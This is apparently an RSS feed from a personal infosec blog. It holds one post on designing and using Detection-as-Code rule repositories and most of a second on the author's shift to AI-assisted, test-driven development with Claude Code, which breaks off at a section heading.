<?xml version="1.0" encoding="UTF-8"?>
<rss  xmlns:atom="http://www.w3.org/2005/Atom" 
      xmlns:media="http://search.yahoo.com/mrss/" 
      xmlns:content="http://purl.org/rss/1.0/modules/content/" 
      xmlns:dc="http://purl.org/dc/elements/1.1/" 
      version="2.0">
<channel>
<title>lopes.log</title>
<link>https://lopes.id/</link>
<atom:link href="https://lopes.id/index.xml" rel="self" type="application/rss+xml"/>
<description>where others see logs, I see stories.</description>
<image>
<url>https://lopes.id/static/images/og-home.webp</url>
<title>lopes.log</title>
<link>https://lopes.id/</link>
</image>
<generator>quarto-1.9.36</generator>
<lastBuildDate>Wed, 08 Apr 2026 00:00:00 GMT</lastBuildDate>
<item>
  <title>Detection-as-Code, Then What?</title>
  <dc:creator>Joe Lopes</dc:creator>
  <link>https://lopes.id/log/detection-as-code-then-what/</link>
  <description><![CDATA[ 






<p>Detection-as-Code (DaC) is a common trending topic among Threat Detection teams. It’s fancy, it’s modern, it’s nice. But what about the real gains? What should you actually expect from a system like this? Last year, I started a project to share my view on good DaC, but <a href="https://blog.nviso.eu/series/detection-engineering-practicing-detection-as-code/">NVISO Labs (Stamatis Chatzimangou)</a> beat me to it and wrote something far better than I was planning. Even with that great resource, I still felt the “then what?” was missing. How do you make good use of it?</p>
<p>Thanks to NVISO, I don’t need to cover the basics; they’re well written. Instead, I want to add some thoughts and ideas on top. I’ll start with the “why”: should your team go for a DaC project? Then, for teams that already have it, I’ll dig into how to make better use of it: that’s the core, built around concrete use cases to justify the investment. Finally, I’ll cover AI and DaC, and close with some final thoughts. Let’s go.</p>
<section id="the-why-and-the-trade-offs" class="level2">
<h2 class="anchored" data-anchor-id="the-why-and-the-trade-offs">The “Why” and the Trade-offs</h2>
<p>I define a <em>Detection Engine</em> as any platform capable of receiving raw telemetry and outputting alerts. In this sense, SIEMs and EDRs are two common tools that meet this criterion. In complex environments, it’s common to have multiple engines running in parallel, each monitoring a specific slice of the stack: endpoints, cloud, SaaS, etc. Each new engine added greatly impacts Threat Detection due to its idiosyncrasies: different query languages and, most importantly, different logic.</p>
<p>Although many refer to the logic alone as “the rule,” I don’t think that’s accurate. As Google’s dictionary states:</p>
<blockquote class="blockquote">
<p>A rule is a principle that operates within a particular sphere of knowledge, describing or prescribing what is possible or allowable.</p>
</blockquote>
<p>In this sense, logic is just one part of a rule—and I acknowledge it’s the most important part. But a rule also requires context: a name, description, classification, and deployment parameters.</p>
<p>Since I joined Detection Engineering, I’ve noticed many parallels between a detection rule and regular software, and like any software, a rule needs a runbook for handling the alerts it generates. That runbook should be part of the rule itself. This encapsulates the rule in an envelope that handles different kinds of logic across different engines.</p>
<p>Doing so, engineers work against a normalized structure (the rule) despite having multiple platforms underneath. It doesn’t remove the complexity of learning each engine’s query language, but it greatly helps the team scale.</p>
<p>That envelope can be implemented in multiple ways, but the most effective rely on declarative languages like YAML and TOML. They’re easy to read and maintain. As plaintext, they’re also a natural fit for Git, providing solid version control. When you layer on a collaboration platform like GitHub or GitLab, you get peer review and CI/CD automation on top. These are the biggest selling points for leadership when pitching DaC. What’s less discussed are the trade-offs.</p>
<p>This workflow generates friction. Before, a Detection Engineer would log into the engine, write their logic, save, and move on. Now they must use the engine as a starting point for the use case they’re building, and once they have an MVP:</p>
<ol type="1">
<li>Create a new branch in DaC</li>
<li>Drop the MVP</li>
<li>Add context to the logic: fill the envelope</li>
<li>Commit</li>
<li>Run additional tests, adjust, commit again, request peer review</li>
<li>Once everything looks good, merge to the mainline and monitor the pipeline output</li>
<li>If all is fine, the job is done. If not, fix the automation scripts and redeploy.</li>
</ol>
<p>This new environment requires SRE skills from Detection Engineers, and not everyone is comfortable with Git workflows. Some engineers feel awkward reviewing a colleague’s work, which often leads to rubber-stamp approvals. On the flip side, some people start nitpicking small typos and delivering feedback without empathy, which creates friction of a different kind.</p>
<p>This extra friction must be justified. Based on the gains I described above, not all teams will benefit equally. The rule of thumb is: the larger the team and the more engines it operates, the more the friction is justified.</p>
<p>Does that mean small teams shouldn’t go for DaC? It depends. As an engineer, even working on a small team with a single detection engine, I’d still want to implement it just to build good skills. But that’s optional, a side project for periods of low demand, not something to enforce on all engineers from day one. To be direct: smaller teams in low-complexity environments can live without DaC and still be effective.</p>
<p>Large-scale teams running complex environments will greatly benefit from DaC, and the friction is more than justified when the project is properly designed. DaC increases the team’s maturity and consistency, helping it scale more reliably.</p>
</section>
<section id="the-core-use-cases" class="level2">
<h2 class="anchored" data-anchor-id="the-core-use-cases">The Core Use Cases</h2>
<p>To get real value from DaC, the team must invest time architecting the rule format—the envelop. This is crucial and non-negotiable. All features will be built on top of it, so any future change can be extremely disruptive. Looking around, you’ll find varied structures. That’s because each team has its own needs and context. There’s no one-size-fits-all. That said, I believe a good rule structure should cover these four blocks:</p>
<ol type="1">
<li><strong>Metadata:</strong> Fields like description, author, and categorization—MITRE ATT&amp;CK mappings live here.</li>
<li><strong>Logic:</strong> The rule logic itself, as expected by the Detection Engine, stored as a text block.</li>
<li><strong>Deployment:</strong> Runtime parameters for that rule: on/off, run frequency, schedule, etc.</li>
<li><strong>Guide:</strong> How to handle alerts from that rule: a high-level overview to inform IR playbooks and ease future maintenance.</li>
</ol>
<p>I like to think like a data scientist when designing this structure. Ideally, fields are complementary with minimal or no overlap. For example, since the rule name can be the filename, I avoid a <code>metadata.name</code> field inside the rule. If a piece of data is already tracked automatically by another tool in the stack (like Git tracking authorship and timestamps), I don’t manually replicate it.</p>
<p>In YAML, my proto-rule looks like this:</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb1" style="background: #f1f3f5;"><pre class="sourceCode yaml code-with-copy"><code class="sourceCode yaml"><span id="cb1-1"><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">metadata</span><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">:</span></span>
<span id="cb1-2"><span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">    </span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">authors</span><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">:</span></span>
<span id="cb1-3"><span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">        </span><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">-</span><span class="at" style="color: #657422;
background-color: null;
font-style: inherit;"> </span><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"Joe Lopes"</span></span>
<span id="cb1-4"><span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">    </span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">description</span><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">:</span><span class="at" style="color: #657422;
background-color: null;
font-style: inherit;"> </span><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"Direct, clear, and short description"</span></span>
<span id="cb1-5"><span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">    </span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">mitre</span><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">:</span></span>
<span id="cb1-6"><span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">        </span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">T0000</span><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">:</span><span class="at" style="color: #657422;
background-color: null;
font-style: inherit;"> </span><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">[</span><span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">TA0000</span><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">]</span></span>
<span id="cb1-7"><span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">    </span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">references</span><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">:</span></span>
<span id="cb1-8"><span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">        </span><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">-</span><span class="at" style="color: #657422;
background-color: null;
font-style: inherit;"> </span><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"http://lopes.id"</span></span>
<span id="cb1-9"></span>
<span id="cb1-10"><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">logic</span><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">: </span><span class="ch" style="color: #20794D;
background-color: null;
font-style: inherit;">|</span></span>
<span id="cb1-11">    events:</span>
<span id="cb1-12">        $e.principal.ip...</span>
<span id="cb1-13">    match:</span>
<span id="cb1-14">        $e over 10m</span>
<span id="cb1-15">    outcome:</span>
<span id="cb1-16">        $ip = array_distinct(...</span>
<span id="cb1-17">    condition:</span>
<span id="cb1-18">        $e</span>
<span id="cb1-19"></span>
<span id="cb1-20"><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">deployment</span><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">:</span></span>
<span id="cb1-21"><span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">    </span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">live</span><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">:</span><span class="at" style="color: #657422;
background-color: null;
font-style: inherit;"> </span><span class="ch" style="color: #20794D;
background-color: null;
font-style: inherit;">true</span></span>
<span id="cb1-22"><span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">    </span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">alerting</span><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">:</span><span class="at" style="color: #657422;
background-color: null;
font-style: inherit;"> </span><span class="ch" style="color: #20794D;
background-color: null;
font-style: inherit;">true</span></span>
<span id="cb1-23"><span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">    </span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">frequency</span><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">:</span><span class="at" style="color: #657422;
background-color: null;
font-style: inherit;"> </span><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"LIVE"</span></span>
<span id="cb1-24"></span>
<span id="cb1-25"><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">guide</span><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">:</span></span>
<span id="cb1-26"><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">    context</span><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">: </span><span class="ch" style="color: #20794D;
background-color: null;
font-style: inherit;">|</span></span>
<span id="cb1-27">        A more detailed description, including why the rule exists and how it fits our strategy. One or two paragraphs.</span>
<span id="cb1-28"><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">    triage</span><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">: </span><span class="ch" style="color: #20794D;
background-color: null;
font-style: inherit;">|</span></span>
<span id="cb1-29">        - Steps to triage alerts from that rule</span>
<span id="cb1-30">        - Known false positive cases</span>
<span id="cb1-31"><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">    response</span><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">: </span><span class="ch" style="color: #20794D;
background-color: null;
font-style: inherit;">|</span></span>
<span id="cb1-32">        - High-level steps for incident response</span></code></pre></div></div>
<div class="callout callout-style-default callout-note callout-titled">
<div class="callout-header d-flex align-content-center">
<div class="callout-icon-container">
<i class="callout-icon"></i>
</div>
<div class="callout-title-container flex-fill">
Note
</div>
</div>
<div class="callout-body-container callout-body">
<p>The central element in MITRE ATT&amp;CK is the Technique. Since one Technique can belong to multiple Tactics, mapping <code>Technique: [Tactic(s)]</code> keeps the relationship explicit and avoids duplicating entries. Also, it’s best to refer to IDs rather than names: they’re easier to normalize, and other layers can enrich them with names and descriptions pulled directly from MITRE via STIX.</p>
</div>
</div>
<p>With this structure in place, several use cases become achievable. Let’s walk through them.</p>
<section id="visibility" class="level3">
<h3 class="anchored" data-anchor-id="visibility">Visibility</h3>
<p>Managing a detection ruleset requires attention to detail and correlation across many fields. Even though rules are in plaintext, tracking them file by file quickly becomes unmanageable. It’s incredibly simple to write a Python script that processes all rules and outputs a CSV with their metadata.</p>
<p>CSV can be consumed by almost any tool, including spreadsheets, letting you explore the data freely and easily. Visualizations like this help identify gaps and define next steps.</p>
<div class="callout callout-style-default callout-tip callout-titled">
<div class="callout-header d-flex align-content-center">
<div class="callout-icon-container">
<i class="callout-icon"></i>
</div>
<div class="callout-title-container flex-fill">
Tip
</div>
</div>
<div class="callout-body-container callout-body">
<p>Don’t limit the export to metadata fields. Enrich it with other useful context. For example, who last committed to that rule and when? This can be pulled from Git and added to the output, significantly improving the result.</p>
</div>
</div>
<p>In my experience, this feature alone reduces the need to share the entire repository with auditors and makes ruleset management much easier. It’s far more efficient to have all rule data on one screen and work from there.</p>
<p>What about those MITRE ATT&amp;CK mappings? In my experience, when a team stops actively using them, the mappings quietly go stale. MITRE Navigator is a great tool to put those mappings to work—I’ve written about it in <a href="../../log/gap-analysis-mitre-navigator/">Gap Analysis with MITRE Navigator</a>. A DaC project can include a supporting script, similar to the CSV generator, that reads the rules, extracts MITRE mappings, and generates Navigator layer files (JSON) per engine. When overlaid, they give a clear ATT&amp;CK coverage picture.</p>
<div class="callout callout-style-default callout-tip callout-titled">
<div class="callout-header d-flex align-content-center">
<div class="callout-icon-container">
<i class="callout-icon"></i>
</div>
<div class="callout-title-container flex-fill">
Tip
</div>
</div>
<div class="callout-body-container callout-body">
<p>As discussed in that post, any MITRE ATT&amp;CK coverage analysis must go beyond a colored matrix. Environment context matters, as do the multiple Procedures under each Technique.</p>
</div>
</div>
<p>These scripts can run automatically on every merge to main, creating single sources of truth for the whole team. GitHub Actions is one straightforward way to set this up.</p>
</section>
<section id="compliance" class="level3">
<h3 class="anchored" data-anchor-id="compliance">Compliance</h3>
<p>Few things are certain in corporate life, and audits are one of them for Threat Detection teams. Auditors routinely ask about the list of active rules, last update timestamps, review history, and similar questions.</p>
<p>Providing read-only access to engines is one option, but it often conflicts with the principle of least privilege—and auditors are trained to find problems. Giving them more information than necessary usually creates another headache.</p>
<p>With DaC in place, you can point auditors at the repository and let the platform do the heavy lifting. GitHub and GitLab have intuitive UIs that many people already know, making self-service straightforward. If you operate multiple engines, the benefit compounds: instead of granting access to several platforms, you grant access to only one.</p>
<p>In my experience, auditors love this approach. A self-service audit signals the team has nothing to hide. When it runs in a familiar tool, the need for follow-up requests drops significantly. Auditors can explore the ruleset, CI/CD pipelines, revision history, and every other feature DaC provides. Version control and peer review are also audit controls in their own right—auditors recognize them immediately.</p>
<p>In the end, the YAML proves the rule exists, and the PR history proves it was reviewed and tested before deployment.</p>
</section>
<section id="maintainability" class="level3">
<h3 class="anchored" data-anchor-id="maintainability">Maintainability</h3>
<p>As with any software repository, DaC lets the team put guardrails in place to enforce standards. Engineers can misspell field names, forget required fields, or leave a MITRE tag blank.</p>
<p>The first line of defense is schema validation. Once your rule structure is defined, it’s worth codifying the rules for filling it. I’m a stickler for consistency, so I treat all fields as required, even if the value is an empty string or <code>false</code>. This pays dividends in future automation. Adding string length limits and pattern constraints helps keep garbage data out.</p>
<p>Once basic validation is solid, you can layer on more advanced checks: for instance, validating ATT&amp;CK TTPs against the STIX schema to ensure referenced techniques actually exist.</p>
<div class="callout callout-style-default callout-tip callout-titled">
<div class="callout-header d-flex align-content-center">
<div class="callout-icon-container">
<i class="callout-icon"></i>
</div>
<div class="callout-title-container flex-fill">
Tip
</div>
</div>
<div class="callout-body-container callout-body">
<p>Split the validation to the code. Use tools or libraries that allow you to create schema files separated from the source-code. With this approach, it’ll be easier for engineers to check constraints and even update them.</p>
</div>
</div>
<p>Linters can also be wired into the CI/CD pipeline to enforce formatting standards: no tabs, consistent blank lines between blocks, and so on. The goal is to normalize rules as much as possible to reduce maintenance burden.</p>
<p>In more advanced scenarios, teams can build their own linters to validate the content inside the logic block, taking quality to another level. Only merges with valid data will succeed.</p>
</section>
<section id="security" class="level3">
<h3 class="anchored" data-anchor-id="security">Security</h3>
<p>As an Infosec engineer, I’d be remiss not to address the security posture of the DaC repository itself. <strong>The ruleset is a crown jewel.</strong> If an attacker can read it, they can tailor their TTPs to avoid triggering alerts. If they can write to it, they can tamper with or disable rules and impair your defenses entirely.</p>
<p>Since Git itself offers few access controls, the hosting platform must be hardened. In GitHub, the <code>CODEOWNERS</code> file ensures senior engineers must approve PRs before merge. Repository visibility is separately controlled through team-level access settings, restricting who can see the repo at all. Requiring merges from signed commits only adds non-repudiation. You can prove who authored each change and that it wasn’t tampered with.</p>
<p>Governance is a security concern too. In past implementations, I’ve seen DaC repositories shared across multiple teams, the idea being a single platform for all monitoring rules. In practice, what I saw was unapproved teams creating rules whose alerts landed in the SOC queue, and offensive teams using the ruleset to identify blind spots.</p>
<p>DaC should be a Threat Detection project, not a shared platform. Blue teams can have read access though—it’s useful for incident responders to understand the rules behind alerts. Write access beyond Detection Engineering should be limited to a platform team that maintains the tooling itself.</p>
<div class="callout callout-style-default callout-tip callout-titled">
<div class="callout-header d-flex align-content-center">
<div class="callout-icon-container">
<i class="callout-icon"></i>
</div>
<div class="callout-title-container flex-fill">
Tip
</div>
</div>
<div class="callout-body-container callout-body">
<p>Not all Detection Engineers have coding skills, so they can’t be treated equally in this repository. Structure this repository to clearly separate ruleset, schemas, documentation, tests, and code. Split the team between developers, maintainers, and users. Configure <code>CODEOWNERS</code> to give permissions accordingly.</p>
</div>
</div>
<p>Beyond access control, a solid Git workflow is foundational for features like peer review. Trunk-based development works best in my experience:</p>
<ol type="1">
<li>Engineer pulls the latest mainline</li>
<li>Creates a working branch</li>
<li>Works, commits, pushes, opens a PR</li>
<li>Once approved and validated, merges to the mainline</li>
</ol>
<p>Detection engineers are usually not Git experts the way developers are. Complex workflows like GitFlow add unnecessary friction.</p>
</section>
</section>
<section id="dac-and-ai" class="level2">
<h2 class="anchored" data-anchor-id="dac-and-ai">DaC and AI</h2>
<p>You can’t discuss technology these days without touching on AI, and I’m no different. LLMs are excellent at parsing structured formats like YAML, TOML, and JSON, which makes them a natural fit for DaC. With the repository cloned locally, any AI agent can work directly with the rules, providing insights, helping write scripts, or refining logic.</p>
<p>This approach avoids the overhead of standing up an MCP server to mediate access to the ruleset, saving tokens and money. More broadly, I find it a good reminder against over-engineering: avoid an MCP server when a local file read would work just as well, sometimes just to say “it’s AI-first.”</p>
<p>The only limit here is your creativity. Ask the AI to find overlapping rules, suggest missing MITRE tags, or draft investigation guides. Ask it to help you code a new feature. DaC is AI-friendly although not AI-first (yet 👀).</p>
</section>
<section id="conclusion" class="level2">
<h2 class="anchored" data-anchor-id="conclusion">Conclusion</h2>
<p>Detection-as-Code is an architectural choice. It can help Threat Detection teams mature and scale faster, but it comes with trade-offs that deserve honest evaluation before committing.</p>
<p>Larger teams in complex environments will see real gains. Smaller teams can benefit too, at a smaller scale. The best strategy is to start simple, plan the work before writing a single line of code, and deliver the project in phases, adding features as they’re needed, not before.</p>
<p>The use cases must be super clear from the beginning. You should not implement DaC just because it’s nice, but because it’ll help you scale, make audits easier, and improve your management capabilities. Remember: DaC is the way, not the end. 🍀</p>


</section>

<div id="quarto-appendix" class="default"><section class="quarto-appendix-contents" id="quarto-reuse"><h2 class="anchored quarto-appendix-heading">Reuse</h2><div class="quarto-appendix-contents"><div><a rel="license" href="https://creativecommons.org/licenses/by-sa/4.0/">CC BY-SA 4.0</a></div></div></section><section class="quarto-appendix-contents" id="quarto-citation"><h2 class="anchored quarto-appendix-heading">Citation</h2><div><div class="quarto-appendix-secondary-label">BibTeX citation:</div><pre class="sourceCode code-with-copy quarto-appendix-bibtex"><code class="sourceCode bibtex">@online{lopes2026,
  author = {Lopes, Joe},
  title = {Detection-as-Code, {Then} {What?}},
  date = {2026-04-08},
  url = {https://lopes.id/log/detection-as-code-then-what/},
  langid = {en}
}
</code></pre><div class="quarto-appendix-secondary-label">For attribution, please cite this work as:</div><div id="ref-lopes2026" class="csl-entry quarto-appendix-citeas">
Lopes, Joe. 2026. <span>“Detection-as-Code, Then What?”</span> April 8.
<a href="https://lopes.id/log/detection-as-code-then-what/">https://lopes.id/log/detection-as-code-then-what/</a>.
</div></div></section></div> ]]></description>
  <category>detection</category>
  <guid>https://lopes.id/log/detection-as-code-then-what/</guid>
  <pubDate>Wed, 08 Apr 2026 00:00:00 GMT</pubDate>
  <media:content url="https://lopes.id/log/detection-as-code-then-what/og-detection-as-code-then-what.webp" medium="image" type="image/webp"/>
</item>
<item>
  <title>AI-First Software Development</title>
  <dc:creator>Joe Lopes</dc:creator>
  <link>https://lopes.id/log/ai-first-software-development/</link>
  <description><![CDATA[ 






<p>As an Infosec Engineer, my relationship with code has historically been pragmatic. I write code to solve specific security problems, but my tools are typically narrower in scope than the sprawling architectures built by full-time software engineers.</p>
<p>Recently, however, after exploring new paradigms in AI-assisted programming, I decided to test these concepts in the wild. I applied this methodology to build the <a href="https://github.com/lopes/antlion">Antlion</a> project, and the experience fundamentally shifted my perspective on software development. By integrating <a href="https://claude.com/product/claude-code">Claude Code</a> and modern AI-assisted workflows, I realized that the way we interact with code has irrevocably changed.</p>
<p>This post is a deep dive into my personal evolution: from traditional scripting, to awkwardly forcing AI into old habits, to fully embracing the new paradigm of <em>agentic</em> development.</p>
<section id="motivation-the-need-for-a-new-modus-operandi" class="level2">
<h2 class="anchored" data-anchor-id="motivation-the-need-for-a-new-modus-operandi">Motivation: The Need for a New Modus Operandi</h2>
<p>For a long time, my workflow was functional, albeit traditional. I would write scripts or small programs, test them empirically, document them, and push them to production. But watching the rapid evolution of AI coding tools, I realized that simply bolting a chatbot onto my existing workflow wasn’t enough. I needed to rethink my entire process from the ground up to actually leverage these tools as autonomous agents rather than glorified search engines.</p>
</section>
<section id="the-pre-llm-era-scripts-ad-hoc-fixes-and-stack-overflow" class="level2">
<h2 class="anchored" data-anchor-id="the-pre-llm-era-scripts-ad-hoc-fixes-and-stack-overflow">The Pre-LLM Era: Scripts, Ad-Hoc Fixes, and Stack Overflow</h2>
<p>Before the rise of LLMs, my development process looked exactly like this:</p>
<ol type="1">
<li>Create a folder, bootstrap Git, and initialize the programming language environment.</li>
<li>Dive straight into the code, creating subfolders and importing libraries.</li>
<li>Once the base structure (CLI, directory tree) was complete, start hacking away at specific components (a top-down approach).</li>
<li>Perform ad-hoc testing until reaching a working “v0.5”.</li>
<li>Polish the code, write documentation, and ship.</li>
</ol>
<p>In security and IT operations, we rarely require the rigid bureaucracy of enterprise software development (Agile, heavy CI/CD, exhaustive system design). We optimize for speed and utility, building parsers, automation scripts, or Proof-of-Concepts (PoCs) to put out the immediate fire in front of us.</p>
<p>However, looking back with a critical eye, my process was fundamentally flawed. It severely lacked automated testing, which inevitably led to technical debt. Without unit tests, my scripts were brittle. A minor refactor or an unhandled edge case in a log file could quietly break the entire tool. <a href="https://lopes.id/log/netbox-scanner-network-automation/">Upgrading netbox-scanner</a> to v2, for instance, was painful for exactly this reason.</p>
<p>I came to realize that adopting core engineering best practices, like test coverage, would make my deliverables significantly safer and more reliable. Under my old manual process, achieving this meant heavy reliance on Google, Stack Overflow, and official documentation to unblock myself. It worked, but it was incredibly tedious.</p>
</section>
<section id="method-llm-the-friction-and-fatigue-of-early-adoption" class="level2">
<h2 class="anchored" data-anchor-id="method-llm-the-friction-and-fatigue-of-early-adoption">Method + LLM: The Friction and Fatigue of Early Adoption</h2>
<p>I started riding the LLM wave early, diving into AI-assisted development around mid-2025 while <a href="https://lopes.id/log/rust-for-security-engineers/">learning Rust</a> programming language and building <a href="https://github.com/lopes/cordyceps">Cordyceps</a>, an educational Proof-of-Concept (PoC) ransomware.</p>
<p>At that stage, the AI tooling landscape was evolving at breakneck speed, but my workflow remained stagnant. Instead of taking the time to learn how to orchestrate <em>agentic</em> features, I simply took my flawed pre-LLM workflow and slapped AI on top of it.</p>
<p>Even after progressing from copying code out of a browser tab to using an in-IDE AI agent that automatically updated files, the fundamental problem persisted. Lacking a structured method for providing context, I found myself repeatedly explaining the project’s rules with every new chat session. This constant repetition, combined with the AI’s natural context degradation in longer threads, made me seriously question the tool’s long-term utility.</p>
<p>While the AI provided direct, tailored answers, this ad-hoc approach introduced massive friction:</p>
<ul>
<li><strong>Context decay:</strong> Chats were painfully short-lived. I noticed that after a certain point, the AI’s answers would degrade, becoming biased or completely ignoring foundational instructions. In ML literature, this is a documented phenomenon known as “attention decay” or “context window saturation.” As a conversation grows, the LLM physically struggles to weigh your original system instructions against the noisy tokens of the ongoing chat.</li>
<li><strong>Psychological fatigue and “prompt rage”:</strong> Using AI in an unstructured manner took a surprisingly heavy psychological toll. Having to endlessly rebuild context left me genuinely frustrated with the AI for “forgetting” constraints; at times, it felt like arguing with a toddler. I had essentially shifted my stress from debugging broken code to debugging a stubborn LLM.</li>
<li><strong>Workflow silos:</strong> Initially, manually moving files back and forth from a browser was exhausting. But even after adopting a local agent plugin, the struggle remained because my <em>process</em> was still siloed.</li>
</ul>
<p>I was still the developer doing all the heavy lifting; the AI was just a smarter, occasionally frustrating textbook. It was like copy-pasting from Stack Overflow, just generated on the fly. The solution wasn’t to “prompt harder.” The solution was to step back, review my entire workflow, and integrate AI much earlier in the software lifecycle, using its capabilities in a structured, deterministic way.</p>
</section>
<section id="the-new-way-with-llm-designing-antlion-to-learn-the-paradigm" class="level2">
<h2 class="anchored" data-anchor-id="the-new-way-with-llm-designing-antlion-to-learn-the-paradigm">The New Way with LLM: Designing Antlion to Learn the Paradigm</h2>
<p>Entering 2026, I realized the only way out of this frustrating cycle was to stop forcing the AI into my old habits. I decided to actually <em>study</em> the new way of working. I researched <em>agentic</em> workflows, structured AI tooling, and LLM orchestration.</p>
<p>Only <em>after</em> internalizing this new paradigm did I design the <a href="https://github.com/lopes/antlion">Antlion</a> project. Antlion wasn’t just another script; it was deliberately conceived as a sandbox to practice an AI-native methodology.</p>
<p>This was a profound mindset shift. I finally understood that modern AI tools are no longer intuitive “chatbots”: they are complex orchestrators. Studying a tool’s architecture and best practices before deploying it is exactly how a senior engineer approaches any new technology. The tool and the paradigm must dictate the workflow, not the other way around.</p>
<p>I installed Claude Code directly on my machine, integrated the necessary editor plugins, and completely overhauled my approach:</p>
<section id="setting-the-stage-context-engineering" class="level3">
<h3 class="anchored" data-anchor-id="setting-the-stage-context-engineering">1. Setting the Stage (Context Engineering)</h3>
<p>Instead of jumping into the code, I started with documentation. I outlined goals, premises, constraints, and the tech stack in <code>README.md</code>. Then, using the Claude plugin, I executed <code>/init</code> to parse the greenfield project and build <code>CLAUDE.md</code>.</p>
<p>This file acts as the AI’s system prompt and rulebook. I tailored it to dictate exactly how Claude should behave, applying best practices like enforcing Test-Driven Development (TDD) and functional programming, inspired by <a href="https://github.com/citypaul/.dotfiles/blob/main/claude/.claude/agents/tdd-guardian.md">Paul Hammond’s approach</a>. I kept it highly concise: <code>CLAUDE.md</code> contained all my architectural guardrails in exactly 99 lines.</p>
</section>
<section id="the-ai-interview" class="level3">
<h3 class="anchored" data-anchor-id="the-ai-interview">2. The AI Interview</h3>
<p>Once the environment was set, my first prompt wasn’t a request to write code. Instead, I asked the AI to interview <em>me</em>:</p>
<pre class="text"><code>Ask me clarifying questions about edge cases, UI/UX, and technical tradeoffs before we start building.</code></pre>
<p>Adapted from <a href="https://code.claude.com/docs/en/best-practices">Anthropic’s documentation</a>, this technique was surprisingly effective. Like a chess opponent, Claude found gaps in my initial plan and predicted dependencies I hadn’t yet defined. Putting myself in the “interviewee” seat gave me greater control over the architectural decisions. Claude generated 13 targeted questions initially and raised further edge cases as we progressed.</p>
<p>We iterated until we reached a consensus. It felt like collaborating with a highly skilled peer to finalize system design before writing a single line of code. Only then did the AI update <code>CLAUDE.md</code> and generate a formal <code>DESIGN.md</code> specification.</p>
</section>
<section id="planning-and-commitment" class="level3">
<h3 class="anchored" data-anchor-id="planning-and-commitment">3. Planning and Commitment</h3>
<p>I switched Claude Code to plan mode (<code>shift</code>-<code>tab</code>) and requested an implementation plan. I reviewed it meticulously, added my constraints, and instructed the agent to proceed only when we were perfectly aligned.</p>
<p>Crucially, I forced the AI to commit the plan and TODO list to documentation <em>before</em> touching the codebase. Given my past struggles with contaminated chat contexts, I needed these specs committed as an immutable source of truth. It generated both files under the <code>docs/</code> folder, and development began.</p>
</section>
<section id="test-driven-development-tdd-in-action" class="level3">
<h3 class="anchored" data-anchor-id="test-driven-development-tdd-in-action">4. Test-Driven Development (TDD) in Action</h3>
<p>With my coffee in hand, I instructed Claude to initiate Phase 0. What followed was mesmerizing. I watched the AI execute a flawless TDD loop:</p>
<ol type="1">
<li><strong>Write:</strong> It wrote a test in <code>tests</code> for the data models (e.g., validating supported file formats).</li>
<li><strong>Fail (Red):</strong> It executed the test using <code>uv</code> (as strictly instructed). The test failed.</li>
<li><strong>Implement:</strong> It wrote the actual declaration code to resolve the failure.</li>
<li><strong>Pass (Green):</strong> It re-ran the test suite. It passed. Task complete, onto the next.</li>
</ol>
<p>I used this loop to finally familiarize myself with TDD. I was learning to implement it simply by observing an autonomous agent execute the framework perfectly.</p>
</section>
<section id="shifting-from-coder-to-product-manager" class="level3">
<h3 class="anchored" data-anchor-id="shifting-from-coder-to-product-manager">5. Shifting from Coder to Product Manager</h3>
